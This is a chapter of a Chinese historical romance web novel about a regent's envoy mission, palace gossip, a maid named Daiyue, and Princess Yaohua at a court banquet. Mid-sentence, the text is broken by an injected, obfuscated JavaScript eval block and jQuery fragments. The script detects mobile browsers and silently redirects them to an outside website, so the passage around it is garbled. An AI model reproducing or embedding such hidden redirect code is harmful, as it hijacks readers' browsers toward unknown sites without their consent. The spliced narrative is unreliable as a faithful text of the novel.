仲秋，昼明天亮。


    上京多桂树，照例飘满了桂花香。刚过了丰收季，庄稼卖了好价钱，没了远虑近忧，十里八乡都弥散着一种闲适的氛围，众人大多围在茶馆里喝茶谈天。


    而要说谈天，谈得最多的，又是大周同乾安合盟一事。


    前些时日正为人所津津乐道，周王与皇帝结契约百年之好。两邦从此商贾往来如常，各得其所，真算得上美事一桩。


    因而大周遣使节入京，来人名为游历，实为质子，众人也只是心照不宣。


    但陪同他一道上京之人，却大有来头。


    说书人环顾一周，发觉众人大多无心听书，便一拍惊堂木，自己先念叨起来：


    “说来也是奇怪，这大周的摄政王，怎么陪着九皇子上京呢？”


    质子质子，说到底是以表两邦之谊而名不见经传的小人物。


    然而这位摄政王何许人也？他四年前登临皇位，军国多事，剖断如流，手段如春风化雨，却狠戾其中。


    四年来大周风调雨顺，国力甚至隐隐压于乾安一头。


    尽管此州五湖四海也不乏掌权者为表诚意，亲自来拜贺结契，但倘若是他，却是当真不必。


    “嗐。”旁边人凑热闹：“什么质子？这可是这摄政王的亲侄子！”


    这人似乎因为家中关系，颇知些内幕，便洋洋自得：“四年前大周内乱，皇位原先是要留给这九皇子的父王。谁知这摄政王一朝夺权，为绝后患把亲侄子送出去作使节，明面上自然要一道陪同了。”


    “可真是杀人不见血的好手段。”


    除了遭些骂名，一下却解了两个难题。


    众人似懂非懂，听得一知半解只好点头，但一旁老者却笑：“我看非也。”


    “要送质子，怎不见要结秦晋之好？”他摇着蒲扇，不以为然：“我看分明是冲着咱们郡主来的！”


    瑶华郡主姿容妍丽人品贵重，九州素闻其名。质子只是锦上添花，但若能娶得瑶华郡主……


    没准乾安和大周，真能做一辈子的亲家。


    众人恍然大悟，既说到本邦的郡主，又七嘴八舌地讨论起来：“听闻那摄政王俊美无俦，倒勉强配得上郡主。”


    才出口，立时有人反驳：“昔日的国公世子、沈家少爷，连同那状元郎，哪个不俊？怎么就非得这个大周王爷不可？”


    “那不是都吹了嘛！”这人嘀咕道，“状元郎坟头都三米草了吧。”


    说到此事，倒都齐齐一默。四年过去，去年的皇榜三甲如今都官拜内廷，然而那位的丰功伟绩至今都在青河边上传说着，难能让人慨叹一句天妒英才。


    倘若他还在，和郡主还真能添几分说头。可惜人死如灯灭，没了，就是什么都没了。


    分明八月了，京中还是闷热得很。一声雷从晴朗的天边滚过，人群便三三两两鸟兽散去。


    说书人环顾四周冷清，心想世人果真好风月情长，只爱听郡主和状元郎的爱恨缠绵。


    既如此，今日事毕定要再写一卷——！


    众人口中正议论纷纷的郡主府里，反而是一片祥和安静。


    “待月姐姐！”在前院侍候的小丫鬟好容易才找到人，可惜只喊了个开头，就被来人不轻不重地压住了声音。


    “嘘！”待月一只指头压在她唇上，“郡主还在睡觉。”


    春去秋来，郡主不在上京这几年，府里的人也换了个遍，不知道今儿日子特殊，府里容不得一点大动静。


    小丫鬟乖巧地点点头，压低声音：“待月姐姐，前头来了人，让去送送。”


    来了人，前院的人怎么不能送？待月一头雾水，但忽而又灵光一闪：恐怕是宫里的人。


    今日刚巧是那位摄政王下榻使馆的日子，有些东西宫里不便直接相送，就拐着弯儿送到了郡主府来，左右也只是一句话的事儿。


    虽然郡主也是皇家子侄，但待月隐隐感觉……京中的传言十有八九，要成真了。


    偏生这事情的主人公还在沉沉地睡着，昨夜酗酒太过，恐怕要下午才能醒来。


    待月叹了口气，点点头应下：“我去吧。”


    前厅来使，果然是宫里的大黄门。为了彰显爱重，圣上每次送东西都让身边亲自伺候的太监来，待月和他打多了几次照面，说话也比较随意：“福公公，您看这些东西……”


    她问：“还是送去使馆？”


    福公公忙不迭点头：“有劳待月姑娘了。”


    今儿日子不一般，原先和大周使节入京也是碰不上的。浩浩荡荡的队伍本是三日后到达，谁知那摄政王竟嫌脚程慢了，昨夜就带着大周的九皇子策马入京，才碰了个不巧。


    怎么就这么不巧呢？不挑昨日、明日，非就今天不可？


    福公公心里也叫苦不迭。他陪着笑：“烦请待月姑娘多美言几句了。”


    这是自然，反正这派头也轮不到她来使。待月点头应下，粗略掀起红布看看，才觉都是些乾安里时兴的男子服饰，由郡主之手送去，也确实好些。


    可惜东西送去使馆，也并不是人人都能领情。


    大周和乾安说到底是同源共祖，面目上也只是有零星的差异。真要说来周人眉眼更偏深邃，极容易有那种正被人温和注视之感：


    “吾王多谢郡主好意，不过一路事务繁重难能亲见，还望郡主体谅。”


    虽说是多谢好意，但观这位使节的周身打扮，分明也只是随意地遣了一位小使前来。


    而话中是体谅而非见谅，待月很微妙地感受到了其中差别。


    可惜来人尚十七，这些伎俩她还看不上。


    “王爷远道而来，乾安无不欢欣。”她微笑，“想必是因今夜宫宴才劳摄政王辛苦。郡主和善，自然体谅。”


    被她这样一说，使节面色微囧，原先的推脱之辞也说不出来了。


    大周来使尚要留驻三月，却难得碰到一个嫩茬。待月瞧了瞧天色，也不着急走，留下来套套这功夫尚浅的小使近乎：“摄政王连夜赶马入京，可是身有要事？郡主忧心此事，特地托我来问一问。”


    她补充道：“乾安与大周交好，郡主也素有敬仰。往后若有什么事，也可以托到郡主府来。”


    她说话周全，使节防着掉坑，但也松了口气：“并无要事。只是吾王说赶早不赶晚，便匆匆地携殿下来了。”


    他唤摄政王为吾王，却唤九皇子殿下，其中渊源一听自明。待月点点头：“的确。”


    两人寒暄多时，待月大多都客客气气地应答，来使原先因这位郡主府女官的和善有些掉以轻心，不料将走时听她忽道：


    “你是湛风？”


    像是随口一问，湛风面色却登


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15641701|164459||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    时一白。他的名氏，职权她都清清楚楚，然而来前长风大人的吩咐也不过是……


    “四两拨千斤地回了她就好。”对方收拾王爷书卷的手一顿，抬头看了看天，“快下雨了，别让她等太久。”


    是他自作主张，反而弄巧成拙，自成笑话。


    湛风有些无措，但终于还是低声下气道：“我向姑娘陪个不是。”


    见对方点到为止，待月也见好就收。她是郡主府的来使，万不可能让人小瞧了去。只不过看着他那副懊恼的模样，像早被预料似的。


    估计是巧合吧。她盘算着郡主大约此时醒了，便要大步流星地离去。


    然而忽听一声闷雷滚滚，阴云翳翳压着天际，狂风挟着潮湿的水汽往人面上一袭，骤雨便要扑面而来。


    她在进退两难间才走了几步，只见刚才犹犹豫豫地回了使馆的人竟然去而复返。


    “待月姑娘——！”


    他跑得上气不接下气，活像被人赶着时间提溜出来的，面上耳根全泛红，似乎刚被人不轻不重地训斥了几句。


    尽管如此，待月却依然敏锐地感觉到对方对自己由漫不经心转为了又敬又怕。


    她就这么吓人？她狐疑地自疑，却见对方两手并着，恭恭敬敬地递了把伞过来。


    “风大人说要下雨了。”


    湛风不敢再瞧她，然而眼底却好像星星点点闪烁着几分敬佩和…好奇？


    “大人让我把这个给您。”


    或许是长风大人。待月听影卫说过，摄政王身边时时有一位长史侍候着，可惜神出鬼没，也没怎么见过其人。


    雨滴细密地落在地上，她看向手中这把朴素无奇的伞。


    天下油纸伞都是一个模样，唯独这把，却似乎有些熟悉。


    *


    宁瑶从香软的被窝里被刨出来时已日上三竿，秋雨都淅淅沥沥地下过两场。


    托那把伞的福，待月赶着雨下大前回来，身上却不免沾上了些潮湿的水汽。


    此时被郡主闭着眼睛扯扯衣袖：“……不想去…”


    “真的？”


    “假的。”宁瑶叹了口气，怏怏不快地睁开眼，由着侍女梳洗打扮。叔父都亲自把使节的礼物送到郡主府来，她又怎么能推拒一场小小的宫宴。


    当晚，瑶华郡主盛装出席，艳惊四座。


    她身姿窈窕，骨肉匀亭却纤秾合度。乌发如云被轻巧地挽作髻，却偶有几缕青丝垂落，调皮地与白皙微粉的雪肤相映，浅浅地坠进那身浅淡的芽黄色团花上襦里。


    说是盛装，只是人抬衣裳而已。她仅着一身藕荷色的凤尾罗裙，发边堪堪簪上几枚玉钗，然而玉色更衬她冰莹雪肤，仪静娴美。


    她许久没再出席宫宴，堂上贵女俱是一脸惊叹又艳羡。宁瑶不经意间还掠过了一个熟悉的脸庞。


    徐知远死后，徐家终于在京中有了些名声。徐姝嫁了不错的高门，如今已为人母，落座在席末。


    ……她一点也没在意。


    宁瑶沉默着把桂酿斟满玉杯，甚至闭上眼安静地听前殿丝竹绕梁，觥筹交错之声，筵席始——


    “大周愿与乾安并结两邦之好。”


    是一个很沉、很冷的声音，像是沙砾在上面滚过，嘶哑却让人不禁，


    心里一折。


    瑶华郡主忽然睁开了眼。